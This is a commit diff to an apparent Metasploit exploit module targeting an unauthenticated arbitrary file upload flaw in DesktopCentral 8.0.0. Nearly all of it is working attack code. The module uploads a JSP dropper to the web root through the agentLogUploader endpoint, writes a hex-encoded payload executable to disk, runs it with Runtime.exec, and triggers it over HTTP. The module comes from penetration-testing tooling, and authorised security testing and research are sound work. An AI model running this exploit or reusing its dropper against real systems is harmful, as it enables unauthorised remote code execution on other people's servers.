Module cleaned for msftidy compliance.
Thomas Hibbert
parent
960f7c9bbb
commit
07c76fd3e6
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@ -1,8 +1,6 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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@ -11,45 +9,42 @@ require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload',
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'Description' => %q{
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This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 build 80286 or below..
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A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution.
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},
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'Author' =>
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[
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'Thomas Hibbert' # thomas.hibbert@security-assessment.com
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Desktop Central server / Windows', {} ],
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload',
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'Description' => %q{
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This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293.
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A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution.
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},
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'Author' =>
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[
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'Thomas Hibbert' # thomas.hibbert@security-assessment.com
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],
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'License' => MSF_LICENSE,
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'References' => [ 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
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'Payload' =>
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{
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},
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Desktop Central server / Windows', {} ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'some point....'))
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 11 2013'))
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register_options(
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[
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register_options(
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[
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Opt::RPORT(8020), Opt::RHOST()
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], self.class)
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end
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], self.class)
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end
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def upload_file(filename, contents)
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res = send_request_cgi(
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{
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@ -58,48 +53,46 @@ class Metasploit3 < Msf::Exploit::Remote
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'data' => contents,
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'ctype' => "text/html",
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})
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if res and res.code == 200
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return true
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else
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return false
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end
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end
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def check
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res = send_request_cgi({
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'uri' => normalize_uri("agentLogUploader"),
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'method' => 'POST'
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})
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if res and res.code == 200
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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print_status("#{@peer} - Uploading JSP to execute the payload")
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exe = payload.encoded_exe
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exe_filename = rand_text_alpha_lower(8) + ".exe"
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# The JSP dropper is needed because there isn't directory traversal, just
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# arbitrary file upload to a web path where JSP code execution is allowed.
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dropper = jsp_drop_and_execute(exe, exe_filename)
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dropper_filename = rand_text_alpha_lower(8) + ".jsp"
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print_status("#{dropper_filename}")
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if upload_file(dropper_filename, dropper)
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register_files_for_cleanup(exe_filename)
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register_files_for_cleanup(dropper_filename)
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@dropper = dropper_filename
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else
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fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
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end
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print_status("#{@peer} - Executing payload")
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send_request_cgi(
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{
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@ -107,17 +100,16 @@ class Metasploit3 < Msf::Exploit::Remote
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'method' => 'GET'
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})
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end
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# This should probably go in a mixin
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def jsp_drop_bin(bin_data, output_file)
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jspraw = %Q|<%@ page import="java.io.*" %>\n|
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jspraw << %Q|<%\n|
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jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
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jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
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jspraw << %Q|int numbytes = data.length();\n|
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jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
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jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
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jspraw << %Q|{\n|
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@ -128,25 +120,23 @@ class Metasploit3 < Msf::Exploit::Remote
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jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
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jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
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jspraw << %Q|}\n|
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jspraw << %Q|outputstream.write(bytes);\n|
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jspraw << %Q|outputstream.close();\n|
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jspraw << %Q|%>\n|
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jspraw
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end
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def jsp_execute_command(command)
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jspraw = %Q|\n|
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jspraw << %Q|<%\n|
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jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
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jspraw << %Q|%>\n|
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jspraw
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end
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def jsp_drop_and_execute(bin_data, output_file)
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jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
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end
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end
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